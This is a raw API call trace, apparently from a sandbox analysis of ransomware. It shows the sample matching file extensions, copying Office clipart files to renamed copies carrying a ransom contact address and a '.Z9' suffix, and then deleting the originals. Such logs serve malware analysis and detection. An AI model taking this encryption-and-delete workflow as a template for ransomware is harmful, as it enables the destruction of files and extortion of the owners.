	[0085.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0085.954] lstrlenW (lpString=".doc") returned 4
	[0085.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.954] lstrlenW (lpString=".docx") returned 5
	[0085.954] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.954] lstrlenW (lpString=".pdf") returned 4
	[0085.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.954] lstrlenW (lpString=".xls") returned 4
	[0085.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.954] lstrlenW (lpString=".xlsx") returned 5
	[0085.954] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.954] lstrlenW (lpString=".ppt") returned 4
	[0085.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0085.954] lstrlenW (lpString=".zip") returned 4
	[0085.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.954] lstrlenW (lpString=".rar") returned 4
	[0085.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.955] lstrlenW (lpString=".bz2") returned 4
	[0085.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.955] lstrlenW (lpString=".7z") returned 3
	[0085.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0085.955] lstrlenW (lpString=".dbf") returned 4
	[0085.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0085.955] lstrlenW (lpString=".1cd") returned 4
	[0085.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0085.955] lstrlenW (lpString=".jpg") returned 4
	[0085.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.955] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.955] lstrlenW (lpString="BL00648_.WMF") returned 12
	[0085.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.955] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=11500) returned 1
	[0085.955] CloseHandle (hObject=0x394) returned 1
	[0085.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x220
	[0085.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.956] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.956] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0085.956] GetLastError () returned 0x0
	[0085.956] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x2cec, lpOverlapped=0x0) returned 1
	[0085.958] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x2cf0, lpOverlapped=0x0) returned 1
	[0085.959] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.960] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.960] SetEndOfFile (hFile=0x338) returned 1
	[0085.960] CloseHandle (hObject=0x338) returned 1
	[0085.961] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.961] SetEndOfFile (hFile=0x394) returned 1
	[0085.962] CloseHandle (hObject=0x394) returned 1
	[0085.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1
	[0085.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0085.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0085.963] lstrlenW (lpString=".doc") returned 4
	[0085.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.963] lstrlenW (lpString=".docx") returned 5
	[0085.963] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.963] lstrlenW (lpString=".pdf") returned 4
	[0085.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.963] lstrlenW (lpString=".xls") returned 4
	[0085.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.963] lstrlenW (lpString=".xlsx") returned 5
	[0085.963] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.963] lstrlenW (lpString=".ppt") returned 4
	[0085.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0085.963] lstrlenW (lpString=".zip") returned 4
	[0085.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.963] lstrlenW (lpString=".rar") returned 4
	[0085.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.964] lstrlenW (lpString=".bz2") returned 4
	[0085.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.964] lstrlenW (lpString=".7z") returned 3
	[0085.964] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0085.964] lstrlenW (lpString=".dbf") returned 4
	[0085.964] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0085.964] lstrlenW (lpString=".1cd") returned 4
	[0085.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0085.964] lstrlenW (lpString=".jpg") returned 4
	[0085.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0085.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0085.964] lstrlenW (lpString=".doc") returned 4
	[0085.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.964] lstrlenW (lpString=".docx") returned 5
	[0085.964] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.964] lstrlenW (lpString=".pdf") returned 4
	[0085.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.964] lstrlenW (lpString=".xls") returned 4
	[0085.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.964] lstrlenW (lpString=".xlsx") returned 5
	[0085.964] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.964] lstrlenW (lpString=".ppt") returned 4
	[0085.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0085.964] lstrlenW (lpString=".zip") returned 4
	[0085.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.964] lstrlenW (lpString=".rar") returned 4
	[0085.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.965] lstrlenW (lpString=".bz2") returned 4
	[0085.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.965] lstrlenW (lpString=".7z") returned 3
	[0085.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0085.965] lstrlenW (lpString=".dbf") returned 4
	[0085.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0085.965] lstrlenW (lpString=".1cd") returned 4
	[0085.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0085.965] lstrlenW (lpString=".jpg") returned 4
	[0085.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.965] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.965] lstrlenW (lpString="BL00921_.WMF") returned 12
	[0085.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.965] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=4408) returned 1
	[0085.965] CloseHandle (hObject=0x394) returned 1
	[0085.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x220
	[0085.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.966] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.966] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0085.966] GetLastError () returned 0x0
	[0085.966] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x1138, lpOverlapped=0x0) returned 1
	[0085.968] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1140, lpOverlapped=0x0) returned 1
	[0085.969] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.969] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.969] SetEndOfFile (hFile=0x338) returned 1
	[0085.969] CloseHandle (hObject=0x338) returned 1
	[0085.970] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.970] SetEndOfFile (hFile=0x394) returned 1
	[0085.971] CloseHandle (hObject=0x394) returned 1
	[0085.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1
	[0085.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0085.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0085.972] lstrlenW (lpString=".doc") returned 4
	[0085.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.972] lstrlenW (lpString=".docx") returned 5
	[0085.972] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.972] lstrlenW (lpString=".pdf") returned 4
	[0085.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.972] lstrlenW (lpString=".xls") returned 4
	[0085.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.972] lstrlenW (lpString=".xlsx") returned 5
	[0085.972] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.972] lstrlenW (lpString=".ppt") returned 4
	[0085.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0085.972] lstrlenW (lpString=".zip") returned 4
	[0085.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.972] lstrlenW (lpString=".rar") returned 4
	[0085.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.972] lstrlenW (lpString=".bz2") returned 4
	[0085.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.972] lstrlenW (lpString=".7z") returned 3
	[0085.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0085.973] lstrlenW (lpString=".dbf") returned 4
	[0085.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0085.973] lstrlenW (lpString=".1cd") returned 4
	[0085.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0085.973] lstrlenW (lpString=".jpg") returned 4
	[0085.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0085.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0085.973] lstrlenW (lpString=".doc") returned 4
	[0085.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.973] lstrlenW (lpString=".docx") returned 5
	[0085.973] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.973] lstrlenW (lpString=".pdf") returned 4
	[0085.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.973] lstrlenW (lpString=".xls") returned 4
	[0085.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.973] lstrlenW (lpString=".xlsx") returned 5
	[0085.973] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.973] lstrlenW (lpString=".ppt") returned 4
	[0085.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0085.973] lstrlenW (lpString=".zip") returned 4
	[0085.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.973] lstrlenW (lpString=".rar") returned 4
	[0085.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.973] lstrlenW (lpString=".bz2") returned 4
	[0085.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.973] lstrlenW (lpString=".7z") returned 3
	[0085.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0085.974] lstrlenW (lpString=".dbf") returned 4
	[0085.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0085.974] lstrlenW (lpString=".1cd") returned 4
	[0085.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0085.974] lstrlenW (lpString=".jpg") returned 4
	[0085.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.974] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.974] lstrlenW (lpString="BL00923_.WMF") returned 12
	[0085.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.974] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=6256) returned 1
	[0085.974] CloseHandle (hObject=0x394) returned 1
	[0085.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x220
	[0085.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.976] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.976] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0085.976] GetLastError () returned 0x0
	[0085.976] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x1870, lpOverlapped=0x0) returned 1
	[0085.977] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1880, lpOverlapped=0x0) returned 1
	[0085.978] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.979] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.979] SetEndOfFile (hFile=0x338) returned 1
	[0085.979] CloseHandle (hObject=0x338) returned 1
	[0085.980] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.980] SetEndOfFile (hFile=0x394) returned 1
	[0085.981] CloseHandle (hObject=0x394) returned 1
	[0085.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1
	[0085.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0085.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0085.982] lstrlenW (lpString=".doc") returned 4
	[0085.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.982] lstrlenW (lpString=".docx") returned 5
	[0085.982] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.982] lstrlenW (lpString=".pdf") returned 4
	[0085.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.982] lstrlenW (lpString=".xls") returned 4
	[0085.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.982] lstrlenW (lpString=".xlsx") returned 5
	[0085.982] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.982] lstrlenW (lpString=".ppt") returned 4
	[0085.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0085.982] lstrlenW (lpString=".zip") returned 4
	[0085.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.982] lstrlenW (lpString=".rar") returned 4
	[0085.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.982] lstrlenW (lpString=".bz2") returned 4
	[0085.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.982] lstrlenW (lpString=".7z") returned 3
	[0085.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0085.982] lstrlenW (lpString=".dbf") returned 4
	[0085.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0085.982] lstrlenW (lpString=".1cd") returned 4
	[0085.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0085.982] lstrlenW (lpString=".jpg") returned 4
	[0085.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
